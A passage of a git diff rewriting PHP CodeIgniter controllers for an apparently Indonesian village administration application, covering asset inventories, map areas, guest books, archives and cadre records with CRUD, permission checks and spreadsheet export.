$this->inventaris_peralatan_model->update_mutasi($id, [ + 'jenis_mutasi' => ($this->input->post('status_mutasi') == 'Hapus') ? $this->input->post('mutasi') : null, + 'status_mutasi' => $this->input->post('status_mutasi'), + 'tahun_mutasi' => $this->input->post('tahun_mutasi'), + 'harga_jual' => $this->input->post('harga_jual') || null, + 'sumbangkan' => $this->input->post('sumbangkan') || null, + 'keterangan' => $this->input->post('keterangan'), + 'updated_at' => date('Y-m-d H:i:s'), + ]); + if ($data) { + $_SESSION['success'] = 1; + } else { + $_SESSION['success'] = -1; + } + redirect('inventaris_peralatan/mutasi'); + } + + public function delete($id) + { + $this->redirect_hak_akses('h', 'inventaris_peralatan'); + $data = $this->inventaris_peralatan_model->delete($id); + if ($data) { + $_SESSION['success'] = 1; + } else { + $_SESSION['success'] = -1; + } + redirect('inventaris_peralatan'); + } + + public function delete_mutasi($id) + { + $this->redirect_hak_akses('h', 'inventaris_peralatan/mutasi'); + $data = $this->inventaris_peralatan_model->delete_mutasi($id); + if ($data) { + $_SESSION['success'] = 1; + } else { + $_SESSION['success'] = -1; + } + redirect('inventaris_peralatan/mutasi'); + } +} diff --git a/donjo-app/controllers/Api_inventaris_tanah.php b/donjo-app/controllers/Api_inventaris_tanah.php index f185954dc..c1a6e8881 100644 --- a/donjo-app/controllers/Api_inventaris_tanah.php +++ b/donjo-app/controllers/Api_inventaris_tanah.php @@ -1,577 +1,179 @@ -load->model('inventaris_tanah_model'); + } + + public function add() + { + $this->redirect_hak_akses('u'); + $data = $this->inventaris_tanah_model->add([ + 'nama_barang' => $this->input->post('nama_barang_save'), + 'kode_barang' => $this->input->post('kode_barang'), + 'register' => $this->input->post('register'), + 'luas' => $this->input->post('luas'), + 'tahun_pengadaan' => $this->input->post('tahun_pengadaan'), + 'letak' => $this->input->post('letak'), + 'hak' => $this->input->post('hak'), + 'no_sertifikat' => $this->input->post('no_sertifikat'), + 'tanggal_sertifikat' => $this->input->post('tanggal_sertifikat'), + 'penggunaan' => $this->input->post('penggunaan'), + 'asal' => $this->input->post('asal'), + 'harga' => $this->input->post('harga'), + 'keterangan' => $this->input->post('keterangan'), + 'visible' => 1, + 'created_by' => $this->session->user, + 'updated_by' => $this->session->user, + ]); + if ($data) { + $_SESSION['success'] = 1; + } else { + $_SESSION['success'] = -1; + } + redirect('inventaris_tanah'); + } + + public function add_mutasi() + { + $this->redirect_hak_akses('u'); + $id_asset = $this->input->post('id_inventaris_tanah'); + $data = $this->inventaris_tanah_model->add_mutasi([ + 'id_inventaris_tanah' => $id_asset, + 'jenis_mutasi' => $this->input->post('mutasi'), + 'status_mutasi' => $this->input->post('status_mutasi'), + 'tahun_mutasi' => $this->input->post('tahun_mutasi'), + 'harga_jual' => $this->input->post('harga_jual'), + 'sumbangkan' => $this->input->post('sumbangkan'), + 'keterangan' => $this->input->post('keterangan'), + 'visible' => 1, + 'created_by' => $this->session->user, + 'updated_by' => $this->session->user, + ]); + if ($data) { + $_SESSION['success'] = 1; + } else { + $_SESSION['success'] = -1; + } + redirect('inventaris_tanah/mutasi'); + } + + public function update($id) + { + $this->redirect_hak_akses('u'); + $data = $this->inventaris_tanah_model->update($id, [ + 'nama_barang' => $this->input->post('nama_barang_save'), + 'kode_barang' => $this->input->post('kode_barang'), + 'register' => $this->input->post('register'), + 'luas' => $this->input->post('luas'), + 'tahun_pengadaan' => $this->input->post('tahun_pengadaan'), + 'letak' => $this->input->post('letak'), + 'hak' => $this->input->post('hak'), + 'no_sertifikat' => $this->input->post('no_sertifikat'), + 'tanggal_sertifikat' => $this->input->post('tanggal_sertifikat'), + 'penggunaan' => $this->input->post('penggunaan'), + 'asal' => $this->input->post('asal'), + 'harga' => $this->input->post('harga'), + 'keterangan' => $this->input->post('keterangan'), + 'updated_at' => date('Y-m-d H:i:s'), + 'visible' => 1, + ]); + if ($data) { + $_SESSION['success'] = 1; + } else { + $_SESSION['success'] = -1; + } + redirect('inventaris_tanah'); + } + + public function update_mutasi($id) + { + $this->redirect_hak_akses('u'); + $id_asset = $this->input->post('id_asset'); + $data = $this->inventaris_tanah_model->update_mutasi($id, [ + 'jenis_mutasi' => ($this->input->post('status_mutasi') == 'Hapus') ? $this->input->post('mutasi') : null, + 'status_mutasi' => $this->input->post('status_mutasi'), + 'tahun_mutasi' => $this->input->post('tahun_mutasi'), + 'harga_jual' => $this->input->post('harga_jual') || null, + 'sumbangkan' => $this->input->post('sumbangkan') || null, + 'keterangan' => $this->input->post('keterangan'), + 'updated_at' => date('Y-m-d H:i:s'), + 'visible' => 1, + ]); + if ($data) { + $_SESSION['success'] = 1; + } else { + $_SESSION['success'] = -1; + } + redirect('inventaris_tanah/mutasi'); + } + + public function delete($id) + { + $this->redirect_hak_akses('h', 'inventaris_tanah'); + $data = $this->inventaris_tanah_model->delete($id); + if ($data) { + $_SESSION['success'] = 1; + } else { + $_SESSION['success'] = -1; + } + redirect('inventaris_tanah'); + } + + public function delete_mutasi($id) + { + $this->redirect_hak_akses('h', 'inventaris_tanah/mutasi'); + $data = $this->inventaris_tanah_model->delete_mutasi($id); + if ($data) { + $_SESSION['success'] = 1; + } else { + $_SESSION['success'] = -1; + } + redirect('inventaris_tanah/mutasi'); + } +} diff --git a/donjo-app/controllers/Area.php b/donjo-app/controllers/Area.php index b937b1173..fd3446e05 100644 --- a/donjo-app/controllers/Area.php +++ b/donjo-app/controllers/Area.php @@ -1,449 +1,264 @@ -load->model(['wilayah_model', 'plan_lokasi_model', 'plan_area_model', 'plan_garis_model', 'pembangunan_model', 'pembangunan_dokumentasi_model']); + $this->modul_ini = 'pemetaan'; + $this->sub_modul_ini = 'pengaturan-peta'; + $this->list_session; + $this->set_page; + } + + public function clear() + { + $this->session->unset_userdata($this->list_session); + $this->session->per_page = $this->set_page[0]; + redirect('area'); + } + + public function index($p = 1, $o = 0) + { + $data['p'] = $p; + $data['o'] = $o; + + foreach ($this->list_session as $list) { + $data[$list] = $this->session->{$list} ?: ''; + } + + $per_page = $this->input->post('per_page'); + if (isset($per_page)) { + $this->session->per_page = $per_page; + } + + $data['func'] = 'index'; + $data['set_page'] = $this->set_page; + $data['per_page'] = $this->session->per_page; + $data['paging'] = $this->plan_area_model->paging($p, $o); + $data['main'] = $this->plan_area_model->list_data($o, $data['paging']->offset, $data['paging']->per_page); + $data['keyword'] = $this->plan_area_model->autocomplete(); + $data['list_polygon'] = $this->plan_area_model->list_polygon(); + $data['list_subpolygon'] = $this->plan_area_model->list_subpolygon(); + + $data['tip'] = 4; + $this->render('area/table', $data); + } + + public function form($p = 1, $o = 0, $id = '') + { + $this->redirect_hak_akses('u'); + $data['p'] = $p; + $data['o'] = $o; + + if ($id) { + $data['area'] = $this->plan_area_model->get_area($id); + $data['form_action'] = site_url("area/update/{$id}/{$p}/{$o}"); + } else { + $data['area'] = null; + $data['form_action'] = site_url('area/insert'); + } + + $data['list_polygon'] = $this->plan_area_model->list_polygon(); + $data['tip'] = 4; + $data['foto_area'] = to_base64(LOKASI_FOTO_AREA . 'kecil_' . $data['area']['foto']); + + $this->render('area/form', $data); + } + + public function ajax_area_maps($p = 1, $o = 0, $id = '') + { + $data['p'] = $p; + $data['o'] = $o; + if ($id) { + $data['area'] = $this->plan_area_model->get_area($id); + } else { + $data['area'] = null; + } + + $data['desa'] = $this->header['desa']; + $data['wil_atas'] = $this->header['desa']; + $data['dusun_gis'] = $this->wilayah_model->list_dusun(); + $data['rw_gis'] = $this->wilayah_model->list_rw(); + $data['rt_gis'] = $this->wilayah_model->list_rt(); + $data['all_lokasi'] = $this->plan_lokasi_model->list_data(); + $data['all_garis'] = $this->plan_garis_model->list_data(); + $data['all_area'] = $this->plan_area_model->list_data(); + $data['all_lokasi_pembangunan'] = $this->pembangunan_model->list_lokasi_pembangunan(); + $data['form_action'] = site_url("area/update_maps/{$p}/{$o}/{$id}"); + + $this->render('area/maps', $data); + } + + public function update_maps($p = 1, $o = 0, $id = '') + { + $this->redirect_hak_akses('u'); + $this->plan_area_model->update_position($id); + redirect("area/index/{$p}/{$o}"); + } + + public function kosongkan($id = '') + { + $this->redirect_hak_akses('u'); + $this->plan_area_model->kosongkan_path($id); + redirect($_SERVER['HTTP_REFERER']); + } + + public function search() + { + $cari = $this->input->post('cari'); + if ($cari != '') { + $this->session->cari = $cari; + } else { + $this->session->unset_userdata('cari'); + } + redirect('area'); + } + + public function filter() + { + $filter = $this->input->post('filter'); + if ($filter != 0) { + $this->session->filter = $filter; + } else { + $this->session->unset_userdata('filter'); + } + redirect('area'); + } + + public function polygon() + { + $polygon = $this->input->post('polygon'); + if ($polygon != 0) { + $this->session->polygon = $polygon; + } else { + $this->session->unset_userdata('polygon'); + } + redirect('area'); + } + + public function subpolygon() + { + $this->session->unset_userdata('polygon'); + $subpolygon = $this->input->post('subpolygon'); + if ($subpolygon != 0) { + $this->session->subpolygon = $subpolygon; + } else { + $this->session->unset_userdata('subpolygon'); + } + redirect('area'); + } + + public function insert($tip = 1) + { + $this->redirect_hak_akses('u'); + if ($this->validation()) { + $this->plan_area_model->insert($tip); + redirect("area/index/{$tip}"); + } + + session_error(trim(validation_errors())); + redirect('area/form'); + } + + public function update($id = '', $p = 1, $o = 0) + { + $this->redirect_hak_akses('u'); + + if ($this->validation()) { + $this->plan_area_model->update($id); + redirect("area/index/{$p}/{$o}"); + } + + session_error(trim(validation_errors())); + redirect("area/form/{$id}/{$p}/{$o}"); + } + + public function delete($p = 1, $o = 0, $id = '') + { + $this->redirect_hak_akses('h', "area/index/{$p}/{$o}"); + $this->plan_area_model->delete($id); + redirect("area/index/{$p}/{$o}"); + } + + public function delete_all($p = 1, $o = 0) + { + $this->redirect_hak_akses('h', "area/index/{$p}/{$o}"); + $this->plan_area_model->delete_all(); + redirect("area/index/{$p}/{$o}"); + } + + public function area_lock($id = '') + { + $this->redirect_hak_akses('u'); + $this->plan_area_model->area_lock($id, 1); + redirect("area/index/{$p}/{$o}"); + } + + public function area_unlock($id = '') + { + $this->redirect_hak_akses('u'); + $this->plan_area_model->area_lock($id, 2); + redirect("area/index/{$p}/{$o}"); + } + + private function validation() + { + $this->load->library('form_validation'); + $this->form_validation->set_rules('nama', 'Nama', 'required|trim'); + $this->form_validation->set_rules('ref_polygon', 'Kategori', 'required'); + $this->form_validation->set_rules('desk', 'Keterangan', 'required|trim'); + $this->form_validation->set_rules('enabled', 'Status', 'required'); + + return $this->form_validation->run(); + } +} diff --git a/donjo-app/controllers/Buku_keperluan.php b/donjo-app/controllers/Buku_keperluan.php index 2d82854b1..076aeac37 100644 --- a/donjo-app/controllers/Buku_keperluan.php +++ b/donjo-app/controllers/Buku_keperluan.php @@ -1,529 +1,143 @@ -modul_ini = 'buku-tamu'; + $this->sub_modul_ini = 'data-keperluan'; + $this->header['kategori'] = 'buku-tamu'; + } + + public function index() + { + if ($this->input->is_ajax_request()) { + return datatables()->of(BukuKeperluan::query()) + ->addColumn('ceklist', static function ($row) { + if (can('h')) { + return ''; + } + }) + ->addIndexColumn() + ->addColumn('aksi', static function ($row) { + $aksi = ''; + + if (can('u')) { + $aksi .= ' '; + } + + if (can('h')) { + $aksi .= ' '; + } + + return $aksi; + }) + ->addColumn('tampil', static function ($row) { + return '' . StatusEnum::valueOf($row->status) . ''; + }) + ->rawColumns(['ceklist', 'aksi', 'tampil']) + ->make(); + } + + return view('admin.buku_tamu.keperluan.index'); + } + + public function form($id = null) + { + $this->redirect_hak_akses('u'); + + if ($id) { + $data['action'] = 'Ubah'; + $data['form_action'] = route('buku_keperluan.update', $id); + $data['data_keperluan'] = BukuKeperluan::findOrFail($id); + } else { + $data['action'] = 'Tambah'; + $data['form_action'] = route('buku_keperluan.insert'); + $data['data_keperluan'] = null; + } + + return view('admin.buku_tamu.keperluan.form', $data); + } + + public function insert() + { + $this->redirect_hak_akses('u'); + + if (BukuKeperluan::create($this->validate($this->request))) { + redirect_with('success', 'Berhasil Tambah Data'); + } + + redirect_with('error', 'Gagal Tambah Data'); + } + + public function update($id = null) + { + $this->redirect_hak_akses('u'); + + $data = BukuKeperluan::findOrFail($id); + + if ($data->update($this->validate($this->request))) { + redirect_with('success', 'Berhasil Ubah Data'); + } + + redirect_with('error', 'Gagal Ubah Data'); + } + + public function delete($id = null) + { + $this->redirect_hak_akses('h'); + + if (BukuKeperluan::destroy($this->request['id_cb'] ?? $id)) { + redirect_with('success', 'Berhasil Hapus Data'); + } + + redirect_with('error', 'Gagal Hapus Data'); + } + + private static function validate($request = []) + { + return [ + 'keperluan' => htmlentities($request['keperluan']), + 'status' => htmlentities($request['status']), + ]; + } +} diff --git a/donjo-app/controllers/Buku_kepuasan.php b/donjo-app/controllers/Buku_kepuasan.php index b29922e5d..69abee9fa 100644 --- a/donjo-app/controllers/Buku_kepuasan.php +++ b/donjo-app/controllers/Buku_kepuasan.php @@ -1,521 +1,82 @@ -modul_ini = 'buku-tamu'; + $this->sub_modul_ini = 'data-kepuasan'; + $this->header['kategori'] = 'buku-tamu'; + } + + public function index() + { + if ($this->input->is_ajax_request()) { + return datatables()->of(BukuKepuasan::query()->with('tamu')) + ->addColumn('ceklist', static function ($row) { + if (can('h')) { + return ''; + } + }) + ->addIndexColumn() + ->addColumn('aksi', static function ($row) { + if (can('h')) { + return ' '; + } + }) + ->rawColumns(['ceklist', 'aksi']) + ->make(); + } + + return view('admin.buku_tamu.kepuasan.index'); + } + + public function delete($id = null) + { + $this->redirect_hak_akses('h'); + + if (BukuKepuasan::destroy($this->request['id_cb'] ?? $id)) { + redirect_with('success', 'Berhasil Hapus Data'); + } + + redirect_with('error', 'Gagal Hapus Data'); + } +} diff --git a/donjo-app/controllers/Buku_pertanyaan.php b/donjo-app/controllers/Buku_pertanyaan.php index 04e01c51c..4612a34fa 100644 --- a/donjo-app/controllers/Buku_pertanyaan.php +++ b/donjo-app/controllers/Buku_pertanyaan.php @@ -1,537 +1,143 @@ -modul_ini = 'buku-tamu'; + $this->sub_modul_ini = 'data-pertanyaan'; + $this->header['kategori'] = 'buku-tamu'; + } + + public function index() + { + if ($this->input->is_ajax_request()) { + return datatables()->of(BukuPertanyaan::query()) + ->addColumn('ceklist', static function ($row) { + if (can('h')) { + return ''; + } + }) + ->addIndexColumn() + ->addColumn('aksi', static function ($row) { + $aksi = ''; + + if (can('u')) { + $aksi .= ' '; + } + + if (can('h')) { + $aksi .= ' '; + } + + return $aksi; + }) + ->addColumn('tampil', static function ($row) { + return '' . StatusEnum::valueOf($row->status) . ''; + }) + ->rawColumns(['ceklist', 'aksi', 'tampil']) + ->make(); + } + + return view('admin.buku_tamu.pertanyaan.index'); + } + + public function form($id = null) + { + $this->redirect_hak_akses('u'); + + if ($id) { + $data['action'] = 'Ubah'; + $data['form_action'] = route('buku_pertanyaan.update', $id); + $data['data_pertanyaan'] = BukuPertanyaan::findOrFail($id); + } else { + $data['action'] = 'Tambah'; + $data['form_action'] = route('buku_pertanyaan.insert'); + $data['data_pertanyaan'] = null; + } + + return view('admin.buku_tamu.pertanyaan.form', $data); + } + + public function insert() + { + $this->redirect_hak_akses('u'); + + if (BukuPertanyaan::create($this->validate($this->request))) { + redirect_with('success', 'Berhasil Tambah Data'); + } + + redirect_with('error', 'Gagal Tambah Data'); + } + + public function update($id = null) + { + $this->redirect_hak_akses('u'); + + $data = BukuPertanyaan::findOrFail($id); + + if ($data->update($this->validate($this->request))) { + redirect_with('success', 'Berhasil Ubah Data'); + } + + redirect_with('error', 'Gagal Ubah Data'); + } + + public function delete($id = null) + { + $this->redirect_hak_akses('h'); + + if (BukuPertanyaan::destroy($this->request['id_cb'] ?? $id)) { + redirect_with('success', 'Berhasil Hapus Data'); + } + + redirect_with('error', 'Gagal Hapus Data'); + } + + private static function validate($request = []) + { + return [ + 'pertanyaan' => htmlentities($request['pertanyaan']), + 'status' => htmlentities($request['status']), + ]; + } +} diff --git a/donjo-app/controllers/Buku_tamu.php b/donjo-app/controllers/Buku_tamu.php index 61467d4e2..710e2e10f 100644 --- a/donjo-app/controllers/Buku_tamu.php +++ b/donjo-app/controllers/Buku_tamu.php @@ -1,489 +1,175 @@ -modul_ini = 'buku-tamu'; + $this->sub_modul_ini = 'data-tamu'; + $this->header['kategori'] = 'buku-tamu'; + } + + public function index() + { + if ($this->input->is_ajax_request()) { + $filters = [ + 'tanggal' => $this->input->get('tanggal'), + ]; + + return datatables()->of(BukuTamu::query() + ->with('jk') + ->filters($filters)) + ->addColumn('ceklist', static function ($row) { + if (can('h')) { + return ''; + } + }) + ->addIndexColumn() + ->addColumn('aksi', static function ($row) { + if (can('h')) { + return ' '; + } + }) + ->addColumn('tampil_foto', static function ($row) { + return '' . $row->nama . ''; + }) + ->editColumn('created_at', static function ($row) { + return Carbon::parse($row->created_at)->dayName . ' / ' . tgl_indo($row->created_at); + }) + ->rawColumns(['ceklist', 'tampil_foto', 'aksi']) + ->make(); + } + + return view('admin.buku_tamu.tamu.index'); + } + + public function delete($id = null) + { + $this->redirect_hak_akses('h'); + + if (BukuTamu::destroy($this->request['id_cb'] ?? $id)) { + // Hapus juga data indeks kepuasan + BukuKepuasan::whereIdNama($this->request['id_cb'] ?? $id)->delete(); + redirect_with('success', 'Berhasil Hapus Data'); + } + + redirect_with('error', 'Gagal Hapus Data'); + } + + public function cetak($tanggal = null) + { + return view('admin.buku_tamu.tamu.cetak', [ + 'data_tamu' => $this->data($this->input->get('tanggal')), + ]); + } + + private function data($tanggal = null) + { + $filters = [ + 'tanggal' => $tanggal, + ]; + + return BukuTamu::filters($filters) + ->latest() + ->get(); + } + + public function ekspor() + { + $tanggal = $this->input->get('tanggal'); + $writer = WriterEntityFactory::createXLSXWriter(); + $writer->openToBrowser(namafile('Buku Tamu') . '.xlsx'); + $sheet = $writer->getCurrentSheet(); + $sheet->setName('Data Tamu'); + + // Deklarasi Style + $border = (new BorderBuilder()) + ->setBorderTop(Color::BLACK, Border::WIDTH_THIN, Border::STYLE_SOLID) + ->setBorderBottom(Color::BLACK, Border::WIDTH_THIN, Border::STYLE_SOLID) + ->setBorderRight(Color::BLACK, Border::WIDTH_THIN, Border::STYLE_SOLID) + ->setBorderLeft(Color::BLACK, Border::WIDTH_THIN, Border::STYLE_SOLID) + ->build(); + + $borderStyle = (new StyleBuilder()) + ->setBorder($border) + ->build(); + + $yellowBackgroundStyle = (new StyleBuilder()) + ->setBackgroundColor(Color::YELLOW) + ->setFontBold() + ->setBorder($border) + ->build(); + + // Cetak Header Tabel + $values = ['NO', 'HARI / TANGGAL', 'NAMA', 'TELEPON', 'INSTANSI', 'JENIS KELAMIN', 'ALAMAT', 'BERTEMU', 'KEPERLUAN']; + $rowFromValues = WriterEntityFactory::createRowFromArray($values, $yellowBackgroundStyle); + $writer->addRow($rowFromValues); + + // Cetak Data + foreach ($this->data($tanggal) as $no => $data) { + $cells = [ + WriterEntityFactory::createCell($no + 1), + WriterEntityFactory::createCell(Carbon::parse($data->created_at)->dayName . ' / ' . tgl_indo($data->created_at) . ' - ' . Carbon::parse($data->created_at)->format('H:i:s')), + WriterEntityFactory::createCell($data->nama), + WriterEntityFactory::createCell($data->telepon), + WriterEntityFactory::createCell($data->instansi), + WriterEntityFactory::createCell(JenisKelaminEnum::all()[$data->jenis_kelamin]), + WriterEntityFactory::createCell($data->alamat), + WriterEntityFactory::createCell($data->bidang), + WriterEntityFactory::createCell($data->keperluan), + ]; + + $singleRow = WriterEntityFactory::createRow($cells); + $singleRow->setStyle($borderStyle); + $writer->addRow($singleRow); + } + + $writer->close(); + } +} diff --git a/donjo-app/controllers/Bumindes_arsip.php b/donjo-app/controllers/Bumindes_arsip.php index 2c4778357..34faf90cc 100644 --- a/donjo-app/controllers/Bumindes_arsip.php +++ b/donjo-app/controllers/Bumindes_arsip.php @@ -1,529 +1,235 @@ -load->model('arsip_fisik_model'); + $this->list_session = ['data_filter_tahun', 'data_filter_jenis', 'data_filter_cari', 'data_filter_kategori']; + $this->_set_page = ['50', '100', '200']; + $this->modul_ini = 'buku-administrasi-desa'; + $this->sub_modul_ini = 'arsip-desa'; + } + + public function index($p = 1, $o = 4) + { + $total_dokumen_desa = $this->arsip_fisik_model->ambil_total_data('dokumen_desa'); + $total_surat_masuk = $this->arsip_fisik_model->ambil_total_data('surat_masuk'); + $total_surat_keluar = $this->arsip_fisik_model->ambil_total_data('surat_keluar'); + $total_kependudukan = $this->arsip_fisik_model->ambil_total_data('kependudukan'); + $total_layanan_surat = $this->arsip_fisik_model->ambil_total_data('layanan_surat'); + + $data = [ + 'dokumen_desa' => [ + 'title' => 'Dokumen Desa', + 'total' => $total_dokumen_desa, + 'uri' => 'dokumen_desa', + ], + 'surat_masuk' => [ + 'title' => 'Surat Masuk', + 'total' => $total_surat_masuk, + 'uri' => 'surat_masuk', + ], + 'surat_keluar' => [ + 'title' => 'Surat Keluar', + 'total' => $total_surat_keluar, + 'uri' => 'surat_keluar', + ], + 'kependudukan' => [ + 'title' => 'Kependudukan', + 'total' => $total_kependudukan, + 'uri' => 'kependudukan', + ], + 'layanan_surat' => [ + 'title' => 'Layanan Surat', + 'total' => $total_layanan_surat, + 'uri' => 'layanan_surat', + ], + ]; + + if ($filter_jenis = $this->input->post('jenis')) { + $this->session->unset_userdata($this->list_session[3]); + $this->session->{$this->list_session[1]} = $filter_jenis; + } + + if ($filter_tahun = $this->input->post('tahun')) { + $this->session->{$this->list_session[0]} = $filter_tahun; + } + + if ($filter_cari = $this->input->post('cari')) { + $this->session->unset_userdata($this->list_session[0]); + $this->session->unset_userdata($this->list_session[1]); + $this->session->{$this->list_session[2]} = $filter_cari; + } + + $per_page = $this->input->post('per_page'); + if (isset($per_page)) { + $this->session->per_page = $per_page; + } + + $this->session->per_page = $this->session->per_page ?? $this->_set_page[0]; + + $data['func'] = 'index'; + $data['set_page'] = $this->_set_page; + $data['per_page'] = $this->session->per_page; + $data['paging'] = $this->arsip_fisik_model->paging($p); + $data['main'] = $this->arsip_fisik_model->ambil_dokumen_per_page(true, $data['per_page'], $p, $o); + $data['page'] = $p; + $data['o'] = $o; + + $filter = $this->arsip_fisik_model->ambil_semua_filter(); + + $data['list_tahun'] = $filter['tahun']; + $data['list_jenis'] = $filter['jenis']; + $data['main_content'] = 'bumindes/arsip/content_arsip'; + + $this->render('bumindes/arsip/index', $data); + } + + public function tindakan_lihat($kategori, $id, $tindakan) + { + $tabel = $this->get_table($kategori); + $berkas = $this->arsip_fisik_model->get_nama_berkas($tabel, $id); + + switch ($tindakan) { + case 'lihat': + $this->tampilkan_berkas($tabel, $berkas); + break; + + case 'unduh': + $this->unduh_berkas($tabel, $berkas); + break; + } + } + + public function tindakan_ubah($kategori, $id, $p, $o) + { + $tabel = $this->get_table($kategori); + $this->modal_ubah_arsip($tabel, $id, $p, $o); + } + + public function tampilkan_berkas($tabel, $berkas, $tampil = true) + { + $lokasi = ''; + if ($tabel == 'dokumen_hidup') { + $lokasi = LOKASI_DOKUMEN; + } elseif ($tabel == 'surat_masuk' || $tabel == 'surat_keluar') { + $lokasi = LOKASI_ARSIP; + } + ambilBerkas($berkas, $this->controller, null, $lokasi, $tampil ?? false); + } + + public function unduh_berkas($tabel, $berkas) + { + $this->tampilkan_berkas($tabel, $berkas, false); + } + + public function modal_ubah_arsip($tabel, $id, $p, $o) + { + $data = [ + 'value' => $this->arsip_fisik_model->get_lokasi_arsip($id, $tabel), + 'form_action' => site_url("{$this->controller}/ubah_dokumen/{$tabel}/{$id}/{$p}/{$o}"), + ]; + + $this->load->view('bumindes/arsip/form', $data); + } + + public function ubah_dokumen($tabel, $id, $p, $o) + { + $lokasi_baru = nama_terbatas($this->input->post('lokasi_arsip')); + $this->arsip_fisik_model->update_lokasi($tabel, $id, $lokasi_baru); + + redirect("{$this->controller}/{$p}/{$o}"); + } + + public function clear($kategori = '') + { + $this->session->unset_userdata($this->list_session); + $this->session->unset_userdata('per_page'); + + if ($kategori) { + $this->kategori($kategori); + } + + redirect($this->controller); + } + + private function get_table($kategori) + { + if ($kategori == 'dokumen_desa' || $kategori == 'kependudukan') { + return 'dokumen_hidup'; + } + if ($kategori == 'layanan_surat') { + return 'log_surat'; + } + if ($kategori == 'surat_masuk' || $kategori == 'surat_keluar') { + return $kategori; + } + } + + private function kategori($kat) + { + switch ($kat) { + case 'dokumen_desa': + $this->session->{$this->list_session[3]} = 'dokumen_desa'; + break; + + case 'surat_masuk': + $this->session->{$this->list_session[3]} = 'surat_masuk'; + break; + + case 'surat_keluar': + $this->session->{$this->list_session[3]} = 'surat_keluar'; + break; + + case 'kependudukan': + $this->session->{$this->list_session[3]} = 'kependudukan'; + break; + + case 'layanan_surat': + $this->session->{$this->list_session[3]} = 'layanan_surat'; + break; + } + } +} diff --git a/donjo-app/controllers/Bumindes_hasil_pembangunan.php b/donjo-app/controllers/Bumindes_hasil_pembangunan.php index 8a9c5da10..5622a4851 100644 --- a/donjo-app/controllers/Bumindes_hasil_pembangunan.php +++ b/donjo-app/controllers/Bumindes_hasil_pembangunan.php @@ -1,625 +1,61 @@ -modul_ini = 'buku-administrasi-desa'; + $this->sub_modul_ini = 'administrasi-pembangunan'; + + $this->order = [ + 1 => 'judul', + 2 => 'volume', + 3 => 'jml_anggaran', + 4 => 'alamat', + 5 => 'keterangan', + ][$this->input->post('order[0][column]')]; + } +} diff --git a/donjo-app/controllers/Bumindes_inventaris_kekayaan.php b/donjo-app/controllers/Bumindes_inventaris_kekayaan.php index 3c0daa7fa..412b985db 100644 --- a/donjo-app/controllers/Bumindes_inventaris_kekayaan.php +++ b/donjo-app/controllers/Bumindes_inventaris_kekayaan.php @@ -1,641 +1,78 @@ -load->model(['pamong_model', 'inventaris_laporan_model']); + $this->modul_ini = 'buku-administrasi-desa'; + $this->sub_modul_ini = 'administrasi-umum'; + } + + public function index() + { + $tahun = (empty($this->session->tahun) || $this->session->tahun == 'semua') ? date('Y') : $this->session->tahun; + + $data = [ + 'subtitle' => 'Buku Inventaris dan Kekayaan ' . ucwords($this->setting->sebutan_desa), + 'selected_nav' => 'inventaris', + 'main_content' => 'bumindes/umum/content_inventaris', + 'min_tahun' => $this->inventaris_laporan_model->min_tahun(), + 'data' => $this->inventaris_laporan_model->permen_47($tahun, null), + 'tahun' => $this->session->tahun, + ]; + + $this->render('bumindes/umum/main', $data); + } + + public function filter($filter) + { + $value = $this->input->post($filter); + if ($value != '') { + $this->session->{$filter} = $value; + } else { + $this->session->unset_userdata($filter); + } + redirect('bumindes_inventaris_kekayaan'); + } +} diff --git a/donjo-app/controllers/Bumindes_kader.php b/donjo-app/controllers/Bumindes_kader.php index 606554720..b8bbb27ac 100644 --- a/donjo-app/controllers/Bumindes_kader.php +++ b/donjo-app/controllers/Bumindes_kader.php @@ -1,529 +1,160 @@ -load->model(['kader_model', 'pamong_model', 'penduduk_model']); + $this->modul_ini = 'buku-administrasi-desa'; + $this->sub_modul_ini = 'administrasi-pembangunan'; + } + + public function index() + { + if ($this->input->is_ajax_request()) { + $start = $this->input->post('start'); + $length = $this->input->post('length'); + $search = $this->input->post('search[value]'); + $order = $this->kader_model::ORDER_ABLE[$this->input->post('order[0][column]')]; + $dir = $this->input->post('order[0][dir]'); + + return json([ + 'draw' => $this->input->post('draw'), + 'recordsTotal' => $this->kader_model->get_data()->count_all_results(), + 'recordsFiltered' => $this->kader_model->get_data($search)->count_all_results(), + 'data' => $this->kader_model->get_data($search)->order_by($order, $dir)->limit($length, $start)->get()->result(), + ]); + } + + $this->render('bumindes/pembangunan/main', [ + 'selected_nav' => 'kader', + 'subtitle' => 'Buku Kader Pemberdayaan', + 'main_content' => 'bumindes/pembangunan/kader/index', + ]); + } + + public function form($id = 0) + { + if ($id) { + $data['main'] = $this->kader_model->find($id) ?? show_404(); + $data['form_action'] = site_url("{$this->controller}/ubah/{$id}"); + } else { + $data['main'] = null; + $data['form_action'] = site_url("{$this->controller}/tambah"); + } + $data['daftar_penduduk'] = $this->kader_model->list_penduduk($data['main']['penduduk_id'] ?? 0); + $data['daftar_bidang'] = $this->referensi_model->list_data('ref_penduduk_bidang'); + $data['daftar_kursus'] = $this->referensi_model->list_data('ref_penduduk_kursus'); + + $this->render('bumindes/pembangunan/kader/form', $data); + } + + public function get_kursus() + { + $data = $this->kader_model->get_kursus($this->input->get('nama', true)); + + echo json_encode($data); + } + + public function get_bidang() + { + $data = $this->kader_model->get_bidang($this->input->get('nama', true)); + + echo json_encode($data); + } + + public function tambah() + { + $this->redirect_hak_akses('u'); + $this->kader_model->tambah(); + + redirect($this->controller); + } + + public function ubah($id = 0) + { + $this->redirect_hak_akses('u'); + $this->kader_model->ubah($id); + + redirect($this->controller); + } + + public function hapus($id = 0) + { + $this->redirect_hak_akses('h'); + $this->kader_model->hapus($id); + + redirect($this->controller); + } + + public function hapus_semua($id = 0) + { + $this->redirect_hak_akses('h'); + $this->kader_model->hapus_semua(); + + redirect($this->controller); + } + + public function dialog($aksi = '') + { + $data = [ + 'aksi' => $aksi, + 'form_action' => site_url($this->controller . '/cetak/' . $aksi), + 'isi' => 'bumindes/pembangunan/ajax_dialog', + ]; + + $this->load->view('global/dialog_cetak', $data); + } + + public function cetak($aksi = '') + { + $data = $this->modal_penandatangan(); + $data['aksi'] = $aksi; + $data['config'] = $this->header['desa']; + $data['main'] = $this->kader_model->get_data()->get()->result(); + $data['tgl_cetak'] = $this->input->post('tgl_cetak'); + $data['file'] = 'Buku ' . ucwords($this->tipe) . ' Kerja Pembangunan'; + $data['isi'] = 'bumindes/pembangunan/kader/cetak'; + $data['letak_ttd'] = ['2', '2', '5']; + + $this->load->view('global/format_cetak', $data); + } +} diff --git a/donjo-app/controllers/Bumindes_kegiatan_pembangunan.php b/donjo-app/controllers/Bumindes_kegiatan_pembangunan.php index 87d6eab30..33229b976 100644 